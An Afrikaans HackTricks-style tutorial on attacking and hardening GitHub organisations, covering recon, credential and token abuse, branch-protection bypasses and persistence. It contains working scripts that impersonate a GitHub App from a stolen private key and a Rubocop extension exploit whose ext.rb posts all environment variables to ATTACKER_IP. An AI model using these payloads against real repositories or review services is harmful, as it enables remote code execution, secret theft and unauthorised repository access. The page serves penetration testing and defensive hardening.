# Github Sekuriteit

{{#include ../../banners/hacktricks-training.md}}

## Wat is Github

(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Op 'n hoë vlak, **GitHub is 'n webwerf en wolk-gebaseerde diens wat ontwikkelaars help om hul kode te stoor en te bestuur, sowel as om veranderinge aan hul kode te volg en te beheer**.

### Basiese Inligting

{{#ref}}
basic-github-information.md
{{#endref}}

## Eksterne Recon

Github repositories kan gekonfigureer word as publiek, privaat en intern.

- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang sal hê.
- **Intern** beteken dat **slegs** mense van die **onderneming** (n onderneming kan verskeie organisasies hê) toegang sal hê.
- **Publiek** beteken dat **alle internet** toegang sal hê.

As jy die **gebruikersnaam, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lekkasies** **op elke repo**.

### Github Dorks

Github laat jou toe om **vir iets te soek deur 'n gebruiker, 'n repo of 'n organisasie as omvang te spesifiseer**. Daarom, met 'n lys van strings wat naby sensitiewe inligting gaan verskyn, kan jy maklik **potensiële sensitiewe inligting in jou teiken soek**.

Gereedskap (elke gereedskap bevat sy lys van dorks):

- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks lys](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks lys](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks lys](https://github.com/hisxo/gitGraber/tree/master/wordlists))

### Github Lekasies

Let asseblief daarop dat die github dorks ook bedoel is om lekkasies te soek met behulp van github soekopsies. Hierdie afdeling is toegewy aan daardie gereedskap wat **elke repo sal aflaai en soek na sensitiewe inligting daarin** (selfs sekere diepte van verbintenisse nagaan).

Gereedskap (elke gereedskap bevat sy lys van regexes):

Kyk na hierdie bladsy: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**

> [!WARNING]
> Wanneer jy na lekkasies in 'n repo soek en iets soos `git log -p` uitvoer, moenie vergeet daar mag wees **ander takke met ander verbintenisse** wat geheime bevat nie!

### Eksterne Forks

Dit is moontlik om **repos te kompromitteer deur pull versoeke te misbruik**. Om te weet of 'n repo kwesbaar is, moet jy meestal die Github Actions yaml konfigurasies lees. [**Meer inligting hieroor hieronder**](#execution-from-a-external-fork).

### Github Lekasies in verwyderde/intern forks

Selfs al is dit verwyder of intern, mag dit moontlik wees om sensitiewe data van forks van github repositories te verkry. Kyk dit hier:

{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}

## Organisasie Versterking

### Lid Privileges

Daar is 'n paar **standaard voorregte** wat aan **lede** van die organisasie toegeken kan word. Hierdie kan beheer word vanaf die bladsy `https://github.com/organizations/<org_name>/settings/member_privileges` of vanaf die [**Organisasies API**](https://docs.github.com/en/rest/orgs/orgs).

- **Basiese toestemmings**: Lede sal die toestemming None/Lees/schrijf/Admin oor die org repositories hê. Dit word aanbeveel om **None** of **Lees** te hê.
- **Repository fork**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede organisasie repositories fork nie.
- **Bladsy skepping**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede bladsye van die org repos publiseer nie. As dit nodig is, kan jy toelaat om publieke of private bladsye te skep.
- **Integrasie toegang versoeke**: Met hierdie geaktiveer, sal buite medewerkers toegang kan versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Repository sigbaarheid verandering**: As geaktiveer, sal **lede** met **admin** toestemmings vir die **repository** in staat wees om **sy sigbaarheid te verander**. As gedeaktiveer, kan slegs organisasie-eienaars repository sigbaarhede verander. As jy **nie** wil hê mense moet dinge **publiek** maak nie, maak seker dit is **gedeaktiveer**.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Repository verwydering en oordrag**: As geaktiveer, sal lede met **admin** toestemmings vir die repository in staat wees om **te verwyder** of **te oordra** publieke en private **repositories.**
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Laat lede toe om spanne te skep**: As geaktiveer, sal enige **lid** van die organisasie in staat wees om **nuwe** **spanne** te **skep**. As gedeaktiveer, kan slegs organisasie-eienaars nuwe spanne skep. Dit is beter om dit gedeaktiveer te hê.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Meer dinge kan geconfigureer word** op hierdie bladsy, maar die vorige is diegene wat meer sekuriteit gerelateerd is.

### Aksies Instellings

Verskeie sekuriteit gerelateerde instellings kan geconfigureer word vir aksies vanaf die bladsy `https://github.com/organizations/<org_name>/settings/actions`.

> [!NOTE]
> Let daarop dat al hierdie konfigurasies ook op elke repository onafhanklik gestel kan word

- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om te loop nie.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull versoek workflows van buite medewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite medewerkers te vereis.
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgerade om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings** te gee. Dit is afgerade om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)

### Integrasies

_Laat weet my as jy die API eindpunt ken om hierdie inligting te bekom!_

- **Derdeparty toepassing toegang beleid**: Dit word aanbeveel om die toegang tot elke toepassing te beperk en slegs die nodige te laat (na hersiening).
- **Gemonteerde GitHub Apps**: Dit word aanbeveel om slegs die nodige te laat (na hersiening).

## Recon & Aanvalle wat kredensiale misbruik

Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening verkry het.

### Met Gebruiker Kredensiale

As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het, kan jy **net aanmeld** en kyk watter **onderneming en organisasie rolle jy het**, as jy 'n gewone lid is, kyk watter **toestemmings gewone lede het**, in watter **groepe** jy is, watter **toestemmings jy het** oor watter **repos,** en **hoe die repos beskerm word.**

Let daarop dat **2FA dalk gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**.

> [!NOTE]
> Let daarop dat as jy **slaag om die `user_session` koekie** (huidiglik geconfigureer met SameSite: Lax) te steel, jy kan **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.

Kyk na die afdeling hieronder oor [**tak beskerming omseilings**](#branch-protection-bypass) in geval dit nuttig is.

### Met Gebruiker SSH Sleutel

Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode namens hulle te ontplooi** (geen 2FA word toegepas nie).

Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy in sy rekening ingestel het** in _https://github.com/\<github_username>.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.

**SSH sleutels** kan ook in repositories as **ontplooi sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte van 'n repository te begin**. Gewoonlik in 'n bediener met verskillende ontplooi sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.

#### GPG Sleutels

Soos verduidelik [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) is dit soms nodig om die verbintenisse te teken of jy mag ontdek word.

Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Met Gebruikersteken

Vir 'n inleiding oor [**Gebruikersteke kyk die basiese inligting**](basic-github-information.md#personal-access-tokens).

'n Gebruikersteken kan gebruik word **in plaas van 'n wagwoord** vir Git oor HTTPS, of kan gebruik word om [**te autentiseer by die API oor Basiese Autentisering**](https://docs.github.com/v3/auth/#basic-authentication). Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer.

'n Gebruikersteken lyk soos volg: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`

### Met Oauth Toepassing

Vir 'n inleiding oor [**Github Oauth Toepassings kyk die basiese inligting**](basic-github-information.md#oauth-applications).

'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.

Hierdie is die [skoppe wat 'n Oauth toepassing kan aanvra](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Gebruiker moet altyd die gevraagde skoppe nagaan voordat hulle dit aanvaar.

Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat verband hou met die organisasie.

### Met Github Toepassing

Vir 'n inleiding oor [**Github Toepassings kyk die basiese inligting**](basic-github-information.md#github-applications).

'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.

Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat verband hou met die organisasie.

#### Vervang 'n GitHub App met sy privaat sleutel (JWT → installasie toegangsteke)

As jy die privaat sleutel (PEM) van 'n GitHub App verkry, kan jy die app ten volle vervang oor al sy installasies:

- Genereer 'n kort‑lewende JWT wat met die privaat sleutel onderteken is
- Bel die GitHub App REST API om installasies te lys
- Munt per-installasie toegangsteke en gebruik dit om te lys/klon/druk na repositories wat aan daardie installasie toegestaan is

Vereistes:
- GitHub App privaat sleutel (PEM)
- GitHub App ID (numeries). GitHub vereis dat iss die App ID is

Skep JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Lys installasies vir die geverifieerde toepassing:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Skep 'n installasie-toegangstoken (geldig ≤ 10 minute):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Gebruik die token om toegang tot die kode te verkry. Jy kan kloon of stoot met die x‑access‑token URL vorm:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmatiese PoC om 'n spesifieke org te teiken en private repos te lys (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notas:
- Installasietokens erf die app se repository‑vlak toestemmings presies (byvoorbeeld, inhoud: skryf, pull_requests: skryf)
- Tokens verval in ≤10 minute, maar nuwe tokens kan onbeperk geskep word solank jy die private sleutel behou
- Jy kan ook installasies opnoem via die REST API (GET /app/installations) met die JWT

## Kompromie & Misbruik van Github Action

Daar is verskeie tegnieke om 'n Github Action te kompromitteer en te misbruik, kyk hulle hier:

{{#ref}}
abusing-github-actions/
{{#endref}}

## Misbruik van derdeparty GitHub Apps wat eksterne gereedskap uitvoer (Rubocop uitbreiding RCE)

Sommige GitHub Apps en PR hersien dienste voer eksterne linters/SAST uit teen pull requests met behulp van repository-beheerde konfigurasie lêers. As 'n ondersteunde gereedskap dinamiese kode laai toelaat, kan 'n PR RCE op die diens se hardeware bereik.

Voorbeeld: Rubocop ondersteun die laai van uitbreidings vanaf sy YAML konfig. As die diens 'n repo-geleverde .rubocop.yml deurgee, kan jy arbitrêre Ruby uitvoer deur 'n plaaslike lêer te vereis.

- Trigger toestande sluit gewoonlik in:
- Die gereedskap is geaktiveer in die diens
- Die PR bevat lêers wat die gereedskap herken (vir Rubocop: .rb)
- Die repo bevat die gereedskap se konfigurasie lêer (Rubocop soek .rubocop.yml enige plek)

Eksploiteer lêers in die PR:

.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (exfiltreer hardloop omgewingsveranderlikes):
```ruby
require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Ook sluit 'n voldoende groot dummy Ruby-lêer in (bv. main.rb) sodat die linter werklik loop.

Impakte waargeneem in die natuur:
- Volledige kode-uitvoering op die produksie-loper wat die linter uitgevoer het
- Ekstraksie van sensitiewe omgewing veranderlikes, insluitend die GitHub App private sleutel wat deur die diens gebruik word, API sleutels, DB akrediteer, ens.
- Met 'n gelekte GitHub App private sleutel kan jy installasie tokens skep en lees/skryf toegang tot alle repositories wat aan daardie app toegestaan is, verkry (sien die afdeling hierbo oor GitHub App impersonasie)

Harde riglyne vir dienste wat eksterne gereedskap uitvoer:
- Behandel repository-gelewer gereedskap konfigurasies as onbetroubare kode
- Voer gereedskap uit in styf geïsoleerde sandboxes sonder sensitiewe omgewing veranderlikes
- Pas die minste bevoegdhede akrediteer en lêerstelsel isolasie toe, en beperk/weier uitgaande netwerk egress vir gereedskap wat nie internettoegang benodig nie

## Branch Protection Bypass

- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk jou PR's van ander rekeninge aanvaar. As jy net die rekening het waarvandaan jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Action** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou **PR goedkeur** en op hierdie manier 1 goedkeuring kry.
- _Let wel vir hierdie en vir die Code Owners beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy dit kan, kan jy dit misbruik om jou PR's te aanvaar._
- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**: As dit nie ingestel is nie, kan jy legitieme kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg.
- **Vereis hersienings van Code Owners**: As dit geaktiveer is en jy 'n Code Owner is, kan jy 'n **Github Action jou PR laat skep en dit dan self goedkeur**.
- Wanneer 'n **CODEOWNER lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Code Owners beskerming nie toegepas nie.**
- **Laat gespesifiseerde akteurs toe om pull request vereistes te omseil**: As jy een van hierdie akteurs is, kan jy pull request beskermings omseil.
- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is admin van die repo, kan jy hierdie tak beskermings omseil.
- **PR Hijacking**: Jy kan dalk in staat wees om die **PR van iemand anders te wysig** deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg.
- **Verwydering van Branch Protections**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel.
- **Omseiling van push beskermings**: As 'n repo **slegs sekere gebruikers toelaat** om push (kode saam te voeg) in takke te stuur (die tak beskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer).
- As jy **skrywe toegang oor die repo het, maar jy mag nie kode push nie** as gevolg van die tak beskerming, kan jy steeds 'n **nuwe tak skep** en binne dit 'n **github action skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **tak beskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode push na die tak die **github action uitvoer**.

## Bypass Environments Protections

Vir 'n inleiding oor [**Github Environment kyk die basiese inligting**](basic-github-information.md#git-environments).

In die geval dat 'n omgewing **van al die takke toeganklik is**, is dit **nie beskerm nie** en jy kan maklik toegang tot die geheime binne die omgewing verkry. Let daarop dat jy repos mag vind waar **al die takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan push** en jy kan die geheime **ekstrak** deur 'n nuwe github action te skep (of een te wysig).

Let op, dat jy die randgeval mag vind waar **al die takke beskerm is** (deur wildcard `*`) dit is gespesifiseer **wie kode na die takke kan push** (_jy kan dit in die tak beskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github action uitvoer omdat jy 'n tak kan skep en die push trigger oor homself kan gebruik. Die **tak beskerming laat die push na 'n nuwe tak toe sodat die github action geaktiveer sal word**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Let wel dat **na die skepping** van die tak die **takbeskerming op die nuwe tak sal van toepassing wees** en jy dit nie sal kan wysig nie, maar teen daardie tyd sal jy reeds die geheime afgelaai het.

## Volharding

- Genereer **gebruikertoken**
- Steel **github tokens** van **geheime**
- **Verwydering** van werkvloei **resultate** en **takke**
- Gee **meer regte aan die hele org**
- Skep **webhooks** om inligting te eksfiltreer
- Nooi **buitelandse samewerkers**
- **Verwyder** **webhooks** wat deur die **SIEM** gebruik word
- Skep/wysig **Github Action** met 'n **terugdeur**
- Vind **kwulnerbare Github Action vir opdraginjekie** deur **geheime** waarde wysiging

### Imposter Commits - Terugdeur via repo commits

In Github is dit moontlik om **'n PR na 'n repo van 'n fork te skep**. Selfs al word die PR **nie aanvaar nie**, sal 'n **commit** id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom **kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, pin.**

Soos [**dit**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Vir meer inligting, kyk na [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)

## Verwysings

- [Hoe ons CodeRabbit uitgebuit het: van 'n eenvoudige PR na RCE en skrywe toegang op 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop uitbreidings (vereis)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Verifikasie met 'n GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Lys installasies vir die geverifieerde app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Skep 'n installasie toegangstoken vir 'n app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)

{{#include ../../banners/hacktricks-training.md}}
